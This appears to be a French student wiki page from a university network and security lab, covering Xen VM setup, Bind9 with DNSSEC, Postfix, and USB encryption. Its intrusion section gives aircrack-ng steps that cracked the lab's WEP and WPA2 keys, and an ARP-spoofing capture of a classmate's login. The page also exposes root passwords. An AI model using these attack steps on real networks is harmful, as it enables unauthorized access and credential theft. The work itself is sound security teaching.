Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Reception_messages_mirage.png&diff=53931Fichier:Reception messages mirage.png2020-11-20T08:19:58Z<p>Aglaine : </p>
<hr />
<div></div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=53930TP sysres IMA2a5 2020/2021 G52020-11-20T08:16:11Z<p>Aglaine : /* Services Internet */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comem ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
